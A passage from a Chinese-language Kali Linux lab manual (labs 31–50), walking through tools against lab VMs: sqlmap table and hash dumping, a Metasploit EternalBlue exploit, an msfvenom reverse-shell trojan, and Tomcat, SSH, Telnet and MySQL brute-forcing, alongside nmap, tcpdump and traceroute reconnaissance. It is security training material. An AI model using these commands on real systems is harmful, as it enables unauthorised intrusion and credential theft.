小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Sqlmap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 Kali 2016
靶机 Windows 7 + mysqltest

实验工具

Sqlmap

实验目的

掌握sqlmap软件用法

实验步骤

使用Sqlmap进行SQL注入攻击

  1. 访问简易测试网页:http://192.168.163.134/mysqltest/mysqltest/index.php?age=25

  2. 在终端中启动sqlmap:

    sqlmap
  3. 使用sqlmap检测URL是否存在注入:

    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25"
  4. 如果存在注入,使用参数--tables列出表名:

    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" --tables
  5. 列出指定数据库中表名和列:

    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T tablename --columns
    
    
  6. 跑出指定数据库中的数据:

    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T tablename --dump
  7. 跑出admin的哈希值:

    sqlmap -u "http://192.168.163.134/mysqltest/mysqltest/index.php?age=25" -D dbname -T admin_table --dump

实验总结

Sqlmap是注入非常强大的工具,需要熟练掌握其使用方法。

实验 32 数据库评估-Sqlsus

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Sqlsus工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 Kali 2016
靶机 Windows 7 + mysqltest

实验工具

Sqlsus

实验目的

掌握常用的数据库评估软件用法

实验步骤

使用Sqlsus进行数据库评估

  1. 访问简易测试网页:http://192.168.163.134/mysqltest/mysqltest/index.php?age=25

  2. 在终端输入以下命令启动Sqlsus:

    sqlsus
  3. 生成配置文件:

    sqlsus --wizard
  4. 修改生成的配置文件,定位到url_start,输入需要检测的URL地址。

  5. 启动Sqlsus,使用start发起获取数据库信息:

    sqlsus -config-file path/to/config/file.conf --url-start
  6. 可以使用help查看更多命令。

  7. 获取表:

    sqlsus -config-file path/to/config/file.conf --get tables
  8. 获取表中的列名:

    sqlsus -config-file path/to/config/file.conf --get columns
  9. 获取admin表的内容:

    sqlsus -config-file path/to/config/file.conf --dump "select * from admin"

实验总结

掌握Sqlsus软件的使用。

实验 33 网络嗅探-Tcpdump

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Tcpdump工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016

实验工具

tcpdump

实验目的

使用tcpdump工具捕获数据包

实验步骤

  1. 直接启动tcpdump将监视第一个网络接口上所有流过的数据包

    tcpdump
  2. 指定网络接口进行抓包

    tcpdump -i eth0
  3. 监听指定主机或ip地址的数据包

    tcpdump host 192.168.1.1
  4. 监听主机或ip所发送的所有数据包

    tcpdump src host 192.168.1.1
  5. 监听主机或ip所接收的所有数据包

    tcpdump dst host 192.168.1.1
  6. 监听指定主机或ip地址之间的数据包

    tcpdump src host 192.168.1.1 and dst host 192.168.1.2

再开一个终端,ping本机的网关,我们需要通过tcpdump工具进行抓包

参数详解

  • -a:尝试将网络和广播地址转换成名称;
  • -c <数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作;
  • -d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出;
  • -dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出;
  • -ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出;
  • -e:在每列倾倒资料上显示连接层级的文件头;
  • -f:用数字显示网际网络地址;
  • -F <表达文件>:指定内含表达方式的文件;
  • -i <网络界面>:使用指定的网络截面送出数据包;
  • -l:使用标准输出列的缓冲区;
  • -n:不把主机的网络地址转换成名字;
  • -N:不列出域名;
  • -O:不将数据包编码最佳化;
  • -p:不让网络界面进入混杂模式;
  • -q:快速输出,仅列出少数的传输协议信息;
  • -r <数据包文件>:从指定的文件读取数据包数据;
  • -s <数据包大小>:设置每个数据包的大小;
  • -S:用绝对而非相对数值列出TCP关联数;
  • -t:在每列倾倒资料上不显示时间戳记;
  • -tt:在每列倾倒资料上显示未经格式化的时间戳记;
  • -T <数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型;
  • -v:详细显示指令执行过程;
  • -vv:更详细显示指令执行过程;
  • -x:用十六进制字码列出数据包资料;
  • -w <数据包文件>:把数据包数据写入指定的文件。

实验总结

使用Tcpdump抓取特定的协议报文

实验34 MS17_010漏洞复现

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器复现MS17_010漏洞,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机 kali 2018 ip地址:192.168.163.152
靶机 windows 7 ip地址:192.168.163.134

实验工具

实验目的

metasploit利用ms17_010去攻击靶机

实验步骤

  1. 在kali终端中输入msfconsole启动metasploit

    msfconsole
  2. 启动后搜索漏洞相关的模块

    search ms17_010
  3. 先利用扫描模块对win 7 靶机进行扫描,检测看是否存在漏洞

    use auxiliary/scanner/smb/smb_ms17_010
  4. 使用该模块后设置目标IP或者IP段

    set RHOSTS 192.168.163.134
  5. 执行扫描

    run
  6. 使用ms17_010漏洞模块对靶机进行攻击

    use exploit/windows/smb/ms17_010_eternalblue
  7. 查看可设置的选项

    show options
  8. 设置靶机目标ip

    set RHOST 192.168.163.134
  9. 执行攻击

    run

实验总结

因为MS17_010是近几年新爆出的漏洞,所以还有很多用户没有升级打补丁,在内网可以进行检测看还有没有主机存在漏洞

实验35 Web应用指纹识别器-Whatweb

实验场景

小明是网络工程师,某

天他收到上级领导命令,需要在kali服务器使用Whatweb工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016 192.168.21.128

实验工具

whatweb

实验目的

掌握whatweb的使用

实验步骤

  1. 在终端直接启动whatweb软件

    whatweb
  2. 查看whatweb版本号

    whatweb --version
  3. 查看有哪些可用的插件

    whatweb --l
  4. 使用whatweb识别网站的指纹

    whatweb --target http://www.baidu.com
  5. 对当个目标进行简单的探测

    whatweb http://127.0.0.1

实验总结

掌握使用Whatweb对web服务器进行嗅探测试

实验 36 端口扫描之-Nmap

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Nmap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali
靶机:centos 6.9
靶机ip地址:192.168.163.136

实验工具

Nmap

实验目的

掌握nmap端口扫描

实验步骤

  1. 查看kali自带nmap的版本号

    nmap -V
  2. nmap的ping扫描本网段存活的主机(ip地址后面加掩码即扫描本网段)

    nmap -sP 192.168.163.0/24
  3. nmap的SYN半开放扫描

    nmap -sS 192.168.163.136/24
  4. nmap的TCP扫描

    nmap -sT 192.168.163.136
  5. nmap扫描靶机所有开放端口

    nmap -p- 192.168.163.136
  6. nmap扫描靶机特定端口 22 和 80 和 8080

    nmap -p 22,80,8080 192.168.163.136
  7. nmap识别系统信息扫描

    nmap -O 192.168.163.136
  8. nmap的批量扫描 - iL 从ip文本中导入扫描

    nmap -sS -iL ip.txt

实验总结

区分NMAP不同参数的使用,牢记常用的参数

实验 37 服务枚举-Amap

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Amap工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali
靶机:centos 6.9 ip地址:192.168.163.132

实验工具

zmap

实验目的

掌握amzp的使用

实验步骤

  1. 启动amap查看帮助信息

    amap -b -q 192.168.163.132 22
  2. 还能设置端口的范围段

    amap -b -q 192.168.163.132 1-100

实验总结

思考Amzp是获取服务器的banner来获取服务器的信息,能想到有什么劣势吗。

实验38 Metasploit-msfvenom生成payload实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali上生成一个木马文件,当centos服务器上执行这个文件时,会反弹shell到kali上,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

kali 2016
centos 6.9

实验工具

Metasploit
ftp

实验目的

使用metasploit生成木马文件,在centos执行文件时拿到shell

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性

    ping 192.168.127.137 -c 4
  2. 在靶机centos上测试与kali的连通性

    ping 192.168.127.138 -c 4
  3. 在kali上使用shell马

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.127.138 LPORT=4444 -f elf > shell
  4. 启动msfconsole

  5. 在kali中启动监听

    Run
  6. 通过ftp把生成的文件传到靶机上,在靶机上先给文件权限再运行文件

  7. 输入shell查看权限

    Shell

实验总结

掌握使用kali下的metasploit生成木马文件,在centos执行文件时拿到shell

实验 39 通用密码生成器-Crunch

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用Crunch工具,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016

实验工具

crunch

实验目的

掌握kali下crunch工具的使用

实验步骤

Crunch是一款密码生成工具,能按照要求生成一个密码文件,用于暴力破解。

  1. 在终端直接输入 crunch --h 查看 Crunch 帮助信息。

  2. 生成的密码格式为:crunch <min> <max> [options]。这里我们使用不添加任何参数来生成密码:

    crunch 1 4

    这会生成最少位数为 1 位,最大为 4 位的密码,由 26 个小写字母组成。

  3. 把字典保存成txt文件:

    crunch 1 4 -o passwd.txt
  4. 制作以 189 开头的手机号密码字典:

    crunch 11 11 +0123456789 -t 188%%%%%%%% -o num.txt
  5. 生成六位数小写字母密码,其中前四位为 “pass”:

    crunch 6 6 -t pass@@ -o passwd.txt
  6. 生成六位密码,其中前四位为 “pass”,后两位为大写字母:

    crunch 6 6 -t pass,, -o passwd.txt
  7. 生成六位密码,其中前四位为 “pass”,后两位为字符:

    crunch 6 6 -t pass^^ -o passwd.txt
  8. 生成 4 位密码,其中格式为“两个数字” + “一个小写字母” + “常见符号”(其中数字这里被指定只能为 123 组成的所有 2 位数字组合):

    crunch 4 4 + + 123 + -t %%@^

实验总结

掌握使用 Crunch 生成指定类型的密码文件。

实验40 Metasploit-xmas实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 xmas 扫描模块,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit

实验目的

通过 xmas 模块来扫描靶机

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    ping 192.168.127.139 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    ping 192.168.127.140 -c 4
  3. 在 kali 上启动 Metasploit:

    msfconsole
  4. 使用 xmas 模块:

    use auxiliary/scanner/portscan/xmas
  5. 查看其它选项:

    show options
  6. 设置靶机地址:

    set rhosts 192.168.127.139
  7. 设置线程为 20:

    set threads 20
  8. 开始扫描:

    run

实验总结

掌握 Metasploit 下的 xmas 扫描靶机实验。

实验41 Metasploit-tcp实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 TCP 方式去进行扫描,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit

实验目的

通过 TCP 模块来扫描靶机

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    ping 192.168.127.139 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    ping 192.168.127.140 -c 4
  3. 在 kali 上启动 Metasploit:

    msfconsole
  4. 使用 TCP 模块:

    use auxiliary/scanner/portscan/tcp
  5. 查看其它选项:

    show options
  6. 设置靶机地址:

    set rhosts 192.168.127.139
  7. 设置线程为 20:

    set threads 20
  8. 开始扫描:

    run

实验总结

掌握 Metasploit 下的使用 TCP 扫描。

实验42 Metasploit-syn实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 SYN 方式去进行扫描,为避免在部署时候出现什么问题,小明

首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit

实验目的

通过 SYN 模块来扫描靶机

实验步骤

通过 SYN 方式对防火墙上未被屏蔽的端口进行探测。

  1. 在kali虚拟机上测试与靶机的连通性:

    ping 192.168.127.139 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    ping 192.168.127.140 -c 4
  3. 在 kali 上启动 Metasploit:

    msfconsole
  4. 使用 SYN 模块:

    use auxiliary/scanner/portscan/syn
  5. 查看其它选项:

    show options
  6. 设置靶机地址:

    set rhosts 192.168.127.139
  7. 设置线程为 20:

    set threads 20
  8. 开始扫描:

    run

实验总结

观察使用 SYN 扫描时,扫描的结果跟 TCP 和 UDP 扫描的方式有什么不同。

实验43 Metasploit-ack实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 ACK 方式去进行扫描,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit

实验目的

通过 ACK 模块来扫描靶机

实验步骤

通过 ACK 方式对防火墙上未被屏蔽的端口进行探测。

  1. 在kali虚拟机上测试与靶机的连通性:

    ping 192.168.127.139 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    ping 192.168.127.140 -c 4
  3. 在 kali 上启动 Metasploit:

    msfconsole
  4. 使用 ACK 模块:

    use auxiliary/scanner/portscan/ack
  5. 查看其它选项:

    show options
  6. 设置靶机地址:

    set rhosts 192.168.127.139
  7. 设置线程为 20:

    set threads 20
  8. 开始扫描:

    run

实验总结

观察当使用 ACK 扫描时,扫描的结果跟 TCP 和 UDP 扫描的方式有什么不同。

实验44 Metasploit-tomcat爆破实验

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在kali服务器使用 metasploit 去爆破 Tomcat 的登录密码,为避免在部署时候出现什么问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:kali 2016
靶机:centos 6.9

实验工具

Metasploit, Tomcat

实验目的

使用 Metasploit 下的 tomcat 爆破模块对 Tomcat 账户进行爆破

实验步骤

  1. 在kali虚拟机上测试与靶机的连通性:

    ping 192.168.127.137 -c 4
  2. 在靶机 centos 上测试与 kali 的连通性:

    ping 192.168.127.138 -c 4
  3. 在 kali 上启动 Metasploit:

    msfconsole
  4. 搜索有效的 Tomcat 模块:

    search tomcat
  5. 这里选择使用模块 auxiliary/scanner/http/tomcat_mgr_login

    use auxiliary/scanner/http/tomcat_mgr_login
  6. 查看 tomcat_mgr_login 模块有效选项:

    show options
  7. 指定用户名和密码文件,这里使用默认路径:

    set user_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
    set pass_file /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
  8. 指定要攻击的目标服务器:

    set rhosts 192.168.127.137
  9. 设置服务器端口号为 8080:

    set rport 8080
  10. 设置当渗透成功时停止:

    set stop_on_success true
  11. 运行攻击爆破成功密码:

    run

实验总结

掌握 Metasploit 下 tomcat 爆破方法的使用,对比 medusa 爆破速度上的区别。

实验 45 路由信息探测-Traceroute

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Traceroute 工具,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016

实验工具

traceroute

实验目的

了解路由的概念和工作原理,掌握 Linux 下探测路由工具 Traceroute 的使用方法。

实验步骤

  1. 路由是信息从源穿过网络传递到目的地的行为,在传播路径中至少经过一个中间节点。Traceroute 通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备 Traceroute 要测 3 次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其 IP 地址。

  2. 打开 Linux 终端,输入 traceroute,查看使用语法。

  3. 查看本机 IP 地址:

    ifconfig
  4. 使用 Traceroute 来追踪本机的路由:

    traceroute <本机IP>
  5. 把探测包的个数设置为值 8:

    traceroute -q 8 <目标IP>
  6. 探测包使用的基本 UDP 端口设置为 6888:

    traceroute -p 6888 <目标IP>
  7. 跳数设置:

    traceroute -m 15 <目标IP>
  8. 把对外发探测包的等待响应时间设置为 3 秒:

    traceroute -w 3 <目标IP>

实验总结

掌握使用 Traceroute 工具去探测路由信息。

实验46 Metasploit之SNMP信息扫描

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 SNMP 扫描,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit, SNMP

实验目的

在 Metasploit 中利用 SNMP 进行信息扫描。

实验步骤

  1. 在 Kali 终端中启动 Metasploit:

    msfconsole
  2. 搜索当前系统内可用 SNMP 扫描模块:

    search snmp
  3. 使用 SNMP 扫描模块:

    use auxiliary/scanner/snmp/snmp_enum
  4. 查看该模块的有效选项:

    show options
  5. 设置扫描范围:

    set RHOSTS 192.168.1.0/24
  6. 设置扫描线程:

    set THREADS 10
  7. 使用 runexploit 开始运行扫描:

    run

实验总结

在设置必选项目外其它的一些非必选项看看是什么意思。

实验47 Metasploit之利用nmap扫描端口

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 nmap 扫描,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit

实验目的

在 Metasploit 中利用 nmap 扫描端口。

实验步骤

  1. 在 Kali 终端中启动 Metasploit:

    msfconsole
  2. 检查 Metasploit 数据库是否启动(Kali 需要手动启动 PostgreSQL 数据库):

    db_status
  3. 载入追踪者插件:

    load db_tracker
  4. 启动 nmap 扫描并将结果存进数据库:

    db_nmap –sV –O –v –T 5 192.168.1.0/24
  5. 查看扫描过的主机,可以看到已经识别出的操作系统:

    hosts

实验总结

在 Metasploit 下的 nmap 扫描和在终端下的 nmap 扫描结果是否一样。

实验48 Metasploit之SSH爆破模块

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 SSH 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit

实验目的

掌握 Metasploit 下 SSH 爆破模

块的使用。

实验步骤

  1. 在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:

    ping 192.168.1.1 -c 4
  2. 使用命令搜索 SSH 登录相关的模块:

    search ssh_login
  3. 利用 SSH 爆破模块:

    use auxiliary/scanner/ssh/ssh_login
  4. 查看在该模块下需要设置的参数:

    show options
  5. 根据提示使用 set 语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:

    set RHOSTS 192.168.1.1
    set USER_FILE /path/to/usernames.txt
    set PASS_FILE /path/to/passwords.txt
  6. 发起攻击:

    run
  7. 成功爆破得到 SSH 用户名和密码,进行结果验证:

    ssh <target_address>

实验总结

在 Metasploit 框架下的 SSH 爆破相比 Medusa 是否更具有优势。

实验49 Metasploit-Telnet爆破

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 Telnet 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit

实验目的

掌握 Metasploit 下 Telnet 爆破模块的使用。

实验步骤

  1. 在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:

    ping 192.168.1.1 -c 4
  2. 使用命令搜索 Telnet 登录相关的模块:

    search telnet_login
  3. 利用 Telnet 爆破模块:

    use auxiliary/scanner/telnet/telnet_login
  4. 查看在该模块下需要设置的参数:

    show options
  5. 根据提示使用 set 语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:

    set RHOSTS 192.168.1.1
    set USER_FILE /path/to/usernames.txt
    set PASS_FILE /path/to/passwords.txt
  6. 发起攻击:

    run
  7. 成功爆破得到 Telnet 用户名和密码,进行结果验证:

    telnet <target_address>

实验总结

思考在设置爆破进程数的时候如何考虑进程大小。

实验50 Metasploit-Mysql爆破

实验场景

小明是网络工程师,某天他收到上级领导命令,需要在 Kali 服务器使用 Metasploit 工具下的 MySQL 爆破,为避免在部署时出现问题,小明首先在自己的虚拟机上搭建一遍环境。

实验环境

攻击机:Kali 2016
靶机:待补充

实验工具

Metasploit

实验目的

掌握 Metasploit 下 MySQL 爆破模块的使用。

实验步骤

  1. 在 Kali 虚拟机上启动 msfconsole 控制台并测试与靶机的连通性:

    ping 192.168.1.1 -c 4
  2. 使用命令搜索 MySQL 登录相关的模块:

    search mysql_login
  3. 利用 MySQL 爆破模块:

    use auxiliary/scanner/mysql/mysql_login
  4. 查看在该模块下需要设置的参数:

    show options
  5. 根据提示使用 set 语句填写必填参数,例如远程地址、爆破用户名字典、爆破密码字典。可选参数根据需要填写:

    set RHOSTS 192.168.1.1
    set USER_FILE /path/to/usernames.txt
    set PASS_FILE /path/to/passwords.txt
  6. 发起攻击:

    run
  7. 成功爆破得到 MySQL 用户名和密码,进行结果验证:

    mysql -h <target_address> -u <username> -p

实验总结

思考 MySQL 爆破日志,在数据库日志文件能不能查看。